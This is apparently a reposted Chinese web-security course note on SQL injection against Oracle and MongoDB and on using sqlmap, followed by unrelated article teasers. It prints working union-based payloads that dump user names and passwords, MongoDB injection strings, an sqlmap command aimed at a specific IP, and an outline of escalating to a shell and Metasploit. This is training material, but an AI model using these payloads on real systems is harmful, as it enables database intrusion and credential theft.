小迪安全26WEB 攻防-通用漏洞SQL 注入 SqlmapOracleMongodbDB2 等

 

#知识点: 

1、数据库注入-Oracle&Mongodb 

2、数据库注入-DB2&SQLite&Sybase 

3、SQL 注入神器-SQLMAP 安装使用拓展

 

 

 

数据库注入:

数据库注入-联合猜解-Oracle&Mongodb 

  1.Oracle数据库一般会在java上执行

参考:https://www.cnblogs.com/peterpan0707007/p/8242119.html 

 

猜回显位:用的是单引号,进行猜测,因为在数据库中加入单引号是一种字符类型的,通过SQL语句,判断之后的数据是否能正常的显示页面,从而进行判断注入点。

Dual:是一个虚表。只有一列,必须使用关键字语句才可以进行使用,通常是 查询时间等数据。

 

测回显:and 1=2 union select '1','2' from dual 

 

爆库:and 1=2 union select '1',(select table_name from user_tables 

where rownum=1) from dual 

 

模糊爆库:and 1=2 union select '1',(select table_name from 

user_tables where rownum=1 and table_name like '%user%') from 

dual 

 

爆列名:and 1=2 union select '1',(select column_name from 

all_tab_columns where rownum=1 and table_name='sns_users') from 

dual 

 

爆其他列名:and 1=2 union select '1',(select column_name from 

all_tab_columns where rownum=1 and table_name='sns_users' and 

column_name not in ('USER_NAME')) from dual 

 

爆数据:and 1=2 union select user_name,user_pwd from "sns_users" 

 

爆其他数据:and 1=2 union select user_name,user_pwd from 

"sns_users" where USER_NAME<>'hu' 

 

 2.Mongodb :一般在python中

 

题目源代码:

ee724fa98114410a94d0f02dcacba8a3.png

 db.getCollectionNames()返回的是数组,需要用 tojson 转换为字符串。 

db.Authority_confidential 是当前用的集合(表),find 函数用于查询,0 是第 

一条数据

 

测回显:/new_list.php?id=1'}); return ({title:1,content:'2 

 

爆库: /new_list.php?id=1'}); return 

({title:tojson(db),content:'1 

 

爆表: /new_list.php?id=1'}); return 

({title:tojson(db.getCollectionNames()),content:'1 

 

爆字段:/new_list.php?id=1'}); return 

({title:tojson(db.Authority_confidential.find()[0]),content:'1 

 

 

数据库注入-SQLMAP-数据猜解&高权限读写执行

1、判断数据库注入点 

2、判断注入点权限 

-sqlmap 数据库注入数据猜解 

-sqlmap 高权限注入读写执行 

-sqlmao 高权限注入联动 MSF

#SQLMAP 使用参数: 

参考:https://www.cnblogs.com/bmjoker/p/9326258.html

            https://sqlmap.org/

注入技术:布尔盲注、时间盲注、错误注入、union注入、堆叠查询(SQL语句的基本操作)、带外(dnslog:利用其他的协议,将dns等信息带出来)

 

使用SQLmap的流程:

  判断注入点

  判断数据库类型(是否存在高级权限)

  判断是否为高级用户

 

指定网站进行注入

python sqlmap.py -u "http://124.70.71.251:40184/new_list.php?id=1"

e7f6f651814b4b3282f34edf43172d42.png

 判断为IBM数据库,并判断是否要测试其他数据库

aa50f24b1c7d4d39a40c3f4b7acf0c6b.png

 存在注入点

ee6b5607a1ce41d8bb076c615728b646.png

7c95403965254c6da1a6808ebde005a9.png 

 判断权限:--privileges #查看权限或 --is-dba #查看是否是数据库管理员

 

有了高级权限,也不一定代表能够完全的文件读写(如mysql中的文件读写,需要my.ini配置上的修改)

若不是高级权限,则老实的进行数据库猜测:

--dbs #查看其他数据库、

--current-db #当前数据库、

--tables #获取所有数据库中的表、

联合指定数据库查询表--tables -D ”指定数据库”、

联合指定数据库中的指定表的列--columns -T “指定表” -D ”指定数据库”、

联合指定数据库中的指定表的指定列中的属性值--dump -C “指定列” -T “指定表” -D ”指定数据库”

--purge #清理缓存

 

一些数据库的特性,无dbs

1a733e0590fb42e7b451a709d87e0f54.png

 -r #对当下文件下的数据包进行解析——特定访问:POST、限制数据头的数据包

对数据包要注入点加入*:表示为注入点

ac2d94f8bc3a4127a561545ed228f0ee.png

 

 

Msf:进行后期内网渗透和提权

主要的思路是:

通过sqlmap找到管理员账号和密码,从而登入后台,再利用后台进行os-shell的连接实现shell交互,此时通过shell交互便可获取到对方服务器的IP等敏感信息,同时,在自己的服务器中开启监听,利用高级权限读写文件,向对服务器写入payload(.exe)并运行,实现上线服务器,然后在监听过程中开启msf,从而提权

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/688265.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

图数据库 之 Neo4j - 应用场景1(6)

Neo4j是一种图数据库&#xff0c;它专注于处理关系数据密集型的问题。由于其图结构的特性&#xff0c;Neo4j能够高效地存储、查询和分析连接数据。 以下是一些常见的Neo4j应用场景&#xff1a; 社交网络分析&#xff1a;通过建模和分析人际关系&#xff0c;可以揭示社交网络中…

【详解】图的概念和存储结构(邻接矩阵,邻接表)

目录 图的基本概念&#xff1a; 图的存储结构 邻接矩阵&#xff08;GraphByMatrix&#xff09;&#xff1a; 基本参数&#xff1a; 初始化&#xff1a; 获取顶点元素在其数组中的下标 &#xff1a; 添加边和权重&#xff1a; 获取顶点的度&#xff1a; 打印图&#xf…

Unity所有关于旋转的方法详解

前言&#xff1a;欧拉角和四元数的简单描述 我们在Inspector面板上看到的rotation其实是欧拉角&#xff0c; 我们将Inspector面板设置成Debug模式&#xff0c;此时看到的local Rotation才是四元数。 Unity中的欧拉旋转是按照Z-X-Y顺规执行的旋转&#xff0c;一组欧拉旋转过程中…

[力扣 Hot100]Day29 删除链表的倒数第 N 个结点

题目描述 给你一个链表&#xff0c;删除链表的倒数第 n 个结点&#xff0c;并且返回链表的头结点。 出处 思路 两个指针间隔n&#xff0c;一趟遍历解决。 代码 class Solution { public:ListNode* removeNthFromEnd(ListNode* head, int n) {ListNode* phead;ListNode* …

【数据库】Mysql索引

1、什么是索引&#xff1f;为什么要用索引&#xff1f; 1.1、索引的含义 数据库索引&#xff0c;是数据库管理系统中一个排序的数据结构&#xff0c;以协助快速查询&#xff0c;更新数据库中表的数据。索引的实现通常使用B树和变种的B树&#xff08;MySQL常用的索引就是B树&am…

跟着pink老师前端入门教程(JavaScript)-day03

四、常量 概念&#xff1a;使用 const 声明的变量称为“常量”。 使用场景&#xff1a;当某个变量永远不会改变的时候&#xff0c;就可以使用 const 来声明&#xff0c;而不是let。 命名规范&#xff1a;和变量一致 常量使用&#xff1a; 注意&#xff1a;常量不允许重新…

数据库索引面试的相关问题

查看索引的执行计划 索引失效的情况 1、索引列上做了计算&#xff0c;函数&#xff0c;类型转换等操作。索引失效是因为查询过程需要扫描整个索引并回表。代价高于直接全表扫描。 Like匹配使用了前缀匹配符“%abc” 字符串不加引号导致类型转换。 原因&#xff1a; 常见索…

阿里云香港轻量应用服务器网络线路cn2?

阿里云香港轻量应用服务器是什么线路&#xff1f;不是cn2。 阿里云香港轻量服务器是cn2吗&#xff1f;香港轻量服务器不是cn2。阿腾云atengyun.com正好有一台阿里云轻量应用服务器&#xff0c;通过mtr traceroute测试了一下&#xff0c;最后一跳是202.97开头的ip&#xff0c;1…

酒店内部服务App开发常用的代码分享!

随着移动互联网的迅猛发展&#xff0c;智能手机已经成为人们生活中不可或缺的一部分&#xff0c;酒店作为服务行业的重要代表&#xff0c;为了提升客户体验、提高服务效率&#xff0c;纷纷开始开发内部服务App。 这些App不仅可以帮助酒店实现内部管理的便捷化&#xff0c;还能…

二叉树(4)——链式二叉树

1 二叉树的概念 二叉树是&#xff1a; 空树非空&#xff1a;根节点&#xff0c;根节点的左子树、根节点的右子树组成的。 二叉树定义是递归式的&#xff0c;因此后序基本操作中基本都是按照该概念实现的。 2 二叉树的遍历 2.1 前序、中序以及后序遍历 学习二叉树结构&#xf…

【C++笔记】第一阶段:C++基础入门

C基础入门 1 C初识1.1 创建一个C程序1.1.1 创建项目1.1.2 创建文件1.1.3 编写代码1.1.4 运行程序 1.2 注释1.3 变量1.4 常量1.5 关键字1.6 标识符命名规则 2 数据类型2.1 整型2.2 sizeof关键字2.3 实型&#xff08;浮点型&#xff09;2.4 字符型2.5 转义字符2.6 字符串型2.7 布…

Github 2024-02-17 开源项目日报 Top10

根据Github Trendings的统计&#xff0c;今日(2024-02-17统计)共有10个项目上榜。根据开发语言中项目的数量&#xff0c;汇总情况如下&#xff1a; 开发语言项目数量Python项目4TypeScript项目3Rust项目2Jupyter Notebook项目1PowerShell项目1JavaScript项目1 Black&#xff…

单片机学习笔记---AD模数转换DA数模转换

目录 AD模数转换 XPT2046.c XPT2046.h main.c DA数模转换 main.c 上一篇博客讲了AD/DA转换的工作原理&#xff0c;也介绍了运算放大器的工作原理&#xff0c;这节开始代码演示&#xff01; AD模数转换 新创建一个工程&#xff1a;AD模数转换 第一个工程将用到LCD1602和…

相机图像质量研究(34)常见问题总结:图像处理对成像的影响--拖影

系列文章目录 相机图像质量研究(1)Camera成像流程介绍 相机图像质量研究(2)ISP专用平台调优介绍 相机图像质量研究(3)图像质量测试介绍 相机图像质量研究(4)常见问题总结&#xff1a;光学结构对成像的影响--焦距 相机图像质量研究(5)常见问题总结&#xff1a;光学结构对成…

力扣 第 124 场双周赛 解题报告 | 珂学家 | 非常规区间合并

前言 整体评价 T4的dp解法没想到&#xff0c;走了一条"不归路", 这个区间合并解很特殊&#xff0c;它是带状态的&#xff0c;而且最终的正解也是基于WA的case&#xff0c;慢慢理清的。 真心不容易&#xff0c;太难了。 T1. 相同分数的最大操作数目 I 思路: 模拟 c…

吴恩达机器学习全课程笔记第二篇

目录 前言 P31-P33 logistics &#xff08;逻辑&#xff09;回归 决策边界 P34-P36 逻辑回归的代价函数 梯度下降的实现 P37-P41 过拟合问题 正则化代价函数 正则化线性回归 正则化logistics回归 前言 这是吴恩达机器学习笔记的第二篇&#xff0c;第一篇笔记请见&…

day32打卡

day32打卡 122. 买卖股票的最佳时机 II 解法&#xff0c;贪心&#xff1a;局部&#xff0c;收集每天的正利润-》整体&#xff0c;获取最大利润 从第0天到第3天&#xff0c;利润为&#xff1a;price[3] - price[0]&#xff0c;也可以是(price[3] - price[2]) (price[2] - pr…

160基于matlab的负熵和峭度信号的盲分离

基于matlab的负熵和峭度信号的盲分离。基于峭度的FastICA算法的收敛速度要快&#xff0c;迭代次数比基于负熵的FastICA算法少四倍以上。SMSE随信噪比增大两种判据下的FastICA算法都逐渐变小&#xff0c;但是基于峭度的算法的SMSE更小&#xff0c;因此基于峭度的FastICA算法性能…

论文精读--对比学习论文综述

InstDisc 提出了个体判别任务&#xff0c;而且利用这个代理任务与NCE Loss去做对比学习从而得到了不错的无监督表征学习的结果&#xff1b;同时提出了别的数据结构——Memory Bank来存储大量负样本&#xff1b;解决如何对特征进行动量式的更新 翻译&#xff1a; 有监督学习的…

C++并发编程 -3.同步并发操作

本文介绍如何使用条件变量控制并发的同步操作、C 并发三剑客&#xff0c;函数式编程 一.条件变量 1.概念 C条件变量&#xff08;condition variable&#xff09;是一种多线程编程中常用的同步机制&#xff0c;用于线程间的通信和协调。它允许一个或多个线程等待某个条件的发生…